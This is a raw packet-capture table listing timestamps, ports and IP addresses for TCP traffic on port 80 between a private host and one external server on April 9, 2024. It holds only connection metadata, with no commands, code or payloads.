Apr 9, 2024 14:54:05.448791027 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.448811054 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.448829889 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.448839903 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.448868990 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.448882103 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.448908091 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.448916912 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.448945999 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.448960066 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.449001074 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.449018955 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.449058056 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.449069023 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.449098110 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.449114084 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.449153900 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.449218988 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.449258089 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.449268103 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.449295044 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.449310064 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.449332952 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.449345112 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.449371099 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.449381113 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.449410915 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.449429035 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.449449062 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.449456930 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.449486017 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.449498892 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.449523926 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.449534893 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.449578047 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.449595928 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.449634075 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.449646950 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.449671984 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.449682951 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.449726105 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.449743032 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.449780941 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.449794054 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.449831963 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.449872971 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.449904919 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.449943066 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.449980974 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.450052023 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.450074911 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.450123072 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.450160980 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.450189114 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.450207949 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.450229883 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.450280905 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.450300932 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.450339079 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.450357914 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.450380087 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.450391054 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.450434923 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.450454950 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.450493097 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.450531006 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.450544119 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.450544119 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.450567961 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.450606108 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.450627089 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.450664043 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.450676918 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.450730085 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.450747013 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.450797081 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.451425076 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.451466084 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.451491117 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.451517105 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.451569080 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.451620102 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.451639891 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.451678991 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.451694965 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.451716900 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.451728106 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.451755047 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.451772928 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.451793909 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.451807976 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.451833010 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.451841116 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.451870918 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.451884985 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.451911926 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.451948881 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.451965094 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.451988935 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.451999903 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.452028990 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.452039957 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.452068090 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.452080011 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.452105999 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.452121019 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.452143908 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.452157974 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.452183008 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.452193022 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.452236891 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.452270031 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.452307940 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.452326059 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.452347040 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.452353954 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.452394962 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.452418089 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.452469110 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.452519894 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.452558041 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.452616930 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.452784061 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.452822924 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.452855110 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.452858925 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.452883005 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.452898979 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.452907085 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.452935934 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.452946901 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.452972889 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.452991009 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.453010082 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.453033924 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.453049898 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.453051090 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.453104019 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.453308105 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.453346014 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.453361988 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.453382969 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.453408003 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.453419924 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.453427076 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.453457117 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.453470945 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.453495979 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.453509092 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.453546047 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.453598022 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.453636885 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.453654051 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.453691959 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.453706980 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.453730106 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.453749895 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.453768015 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.453772068 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.453829050 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.453932047 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.453972101 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.453985929 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.454010963 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.454030991 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.454072952 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.454236984 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.454277992 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.454298973 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.454317093 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.454329014 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.454355955 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.454371929 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.454411030 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.454436064 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.454473019 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.454488039 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.454529047 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.454607010 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.454646111 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.454663992 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.454684973 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.454704046 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.454736948 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.454794884 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.454849958 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.454898119 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.454937935 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.454961061 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.455003977 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.455080032 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.455118895 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.455135107 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.455154896 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.455168962 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.455199957 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.455374002 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.455394030 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.455419064 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.455430984 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.455470085 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.455574036 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.455595016 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.455617905 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.455627918 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.455631018 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.455670118 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.456033945 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.456052065 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.456069946 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.456079960 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.456088066 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.456104994 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.456106901 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.456115961 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.456121922 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.456139088 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.456140995 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.456154108 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.456175089 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.456178904 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.456190109 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.456212997 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.456270933 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.456317902 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.456351995 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.456386089 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.456398964 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.456403971 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.456423044 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.456443071 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.456491947 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.456526041 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.456537008 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.456542015 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.456564903 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.456576109 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.465959072 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.466186047 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.466517925 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.467020988 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.469683886 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.470027924 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.472070932 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.472542048 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.472574949 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.472827911 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.473092079 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.473663092 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.559458971 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.559854984 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.559914112 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.625390053 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.625464916 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.625580072 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.625611067 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.625619888 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.625659943 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.625722885 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.626225948 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.626275063 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.626313925 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.626353025 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.626456976 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.626538992 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.626578093 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.626579046 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.626792908 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.626831055 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.626833916 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.626872063 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.626913071 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.627207041 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.627254963 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.627294064 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.627296925 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.627365112 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.627408981 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.627470016 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.627510071 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.627547026 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.627549887 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.627590895 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.627629995 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.627630949 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.627670050 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.627707958 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.627710104 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.627747059 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.627782106 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.627783060 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.627859116 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.627895117 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.627897024 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.627935886 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.627974033 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.627975941 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.628014088 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.628053904 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.628055096 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.628093004 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.628129959 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.628129959 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.628169060 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.628206968 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.628209114 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.628273964 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.628312111 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.628312111 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.628634930 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.628674030 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.628674984 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.628715038 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.628752947 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.628947973 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.628989935 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.629029036 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.629059076 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.629059076 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.629066944 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.629108906 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.629110098 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.629148006 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.629185915 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.629224062 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.629224062 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.629261971 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.629498005 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.629786968 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.629825115 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.629864931 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.629903078 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.629940033 CEST	80	49741	185.196.8.137	192.168.2.4
